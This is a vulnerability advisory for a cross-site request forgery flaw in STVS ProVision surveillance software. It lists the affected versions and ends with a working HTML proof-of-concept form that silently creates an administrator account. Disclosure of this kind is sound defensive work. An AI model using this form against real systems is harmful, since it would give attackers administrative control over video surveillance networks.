STVS ProVision 5.9.10 Cross-Site Request Forgery (Add Admin)

 STVS ProVision 5.9.10 Cross-Site Request Forgery (Add Admin)

Vendor: STVS SA

Product web page: http://www.stvs.ch

Platform: Ruby

Affected version:  

  • 5.9.10 (build 2885-3a8219a)
  •  5.9.9 (build 2882-7c3b787)
  • 5.9.7 (build 2871-a450938)
  • 5.9.1 (build 2771-1bbed11)
  • 5.9.0 (build 2701-6123026)
  • 5.8.6 (build 2557-84726f7)
  •  5.7
  • 5.6
  •  5.5

Summary: STVS is a Swiss company specializing in development of

software for digital video recording for surveillance cameras

as well as the establishment of powerful and user-friendly IP

video surveillance networks.

Desc: The application interface allows users to perform certain

actions via HTTP requests without performing any validity checks

to verify the requests. This can be exploited to perform certain

actions with administrative privileges if a logged-in user visits

a malicious web site.

Tested on: Ubuntu 14.04.3

           nginx/1.12.1

           nginx/1.4.6

           nginx/1.1.19

           nginx/0.7.65

           nginx/0.3.61

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic

                            @zeroscience

Advisory ID: ZSL-2021-5625

Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5625.php

19.01.2021

<html>

  <body>

    <form action=”http://192.168.1.17/users/create” method=”POST”>

      <input type=”hidden” name=”login” value=”testingus” />

      <input type=”hidden” name=”password” value=”testingus” />

      <input type=”hidden” name=”confirm_password” value=”testingus” />

      <input type=”hidden” name=”email” value=”[email protected]” />

      <input type=”hidden” name=”role_id” value=”1″ />

      <input type=”hidden” name=”never_expire” value=”on” />

      <input type=”hidden” name=”disabled_acc” value=”false” />

      <input type=”submit” value=”Forge request” />

    </form>

  </body>

</html>

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